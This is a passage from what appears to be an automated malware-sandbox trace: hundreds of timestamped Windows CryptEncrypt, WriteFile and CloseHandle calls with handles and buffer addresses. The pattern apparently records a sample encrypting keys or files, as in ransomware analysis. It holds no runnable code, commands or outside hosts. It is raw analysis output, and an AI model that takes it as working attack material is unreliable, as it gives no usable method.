lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.801] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.802] CloseHandle (hObject=0x2aec) returned 1 [0227.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.805] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.806] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.806] CloseHandle (hObject=0x2aec) returned 1 [0227.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.809] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.809] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.810] CloseHandle (hObject=0x2aec) returned 1 [0227.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.824] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.824] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.824] CloseHandle (hObject=0x2aec) returned 1 [0227.834] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.834] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.834] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.835] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.835] CloseHandle (hObject=0x2aec) returned 1 [0227.848] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.848] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.848] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.849] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.849] CloseHandle (hObject=0x2aec) returned 1 [0227.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.857] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.857] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.857] CloseHandle (hObject=0x2aec) returned 1 [0227.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.860] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.860] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.860] CloseHandle (hObject=0x2aec) returned 1 [0227.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.863] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.864] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.864] CloseHandle (hObject=0x2aec) returned 1 [0227.868] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.868] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.869] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.869] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.869] CloseHandle (hObject=0x2aec) returned 1 [0227.882] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.882] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.882] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.883] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.883] CloseHandle (hObject=0x2aec) returned 1 [0227.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.899] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.900] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.900] CloseHandle (hObject=0x2aec) returned 1 [0227.903] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.903] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.903] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.903] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.903] CloseHandle (hObject=0x2aec) returned 1 [0228.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.066] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.066] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.067] CloseHandle (hObject=0x2af0) returned 1 [0228.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.085] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.085] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.085] CloseHandle (hObject=0x2af0) returned 1 [0228.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.105] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.105] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.106] CloseHandle (hObject=0x2af0) returned 1 [0228.123] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.123] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.123] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.124] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.124] CloseHandle (hObject=0x2af0) returned 1 [0228.209] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.209] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.210] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.210] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.210] CloseHandle (hObject=0x2af0) returned 1 [0228.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.241] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.241] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.242] CloseHandle (hObject=0x2af0) returned 1 [0228.290] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.290] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.290] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.290] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.291] CloseHandle (hObject=0x2af0) returned 1 [0228.475] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.476] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.476] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.477] CloseHandle (hObject=0x2af0) returned 1 [0228.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.524] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.524] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.524] CloseHandle (hObject=0x2af0) returned 1 [0228.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.616] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.616] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.617] CloseHandle (hObject=0x2af0) returned 1 [0228.659] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.659] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.659] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.660] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.660] CloseHandle (hObject=0x2af0) returned 1 [0228.707] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.707] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.707] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.707] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, 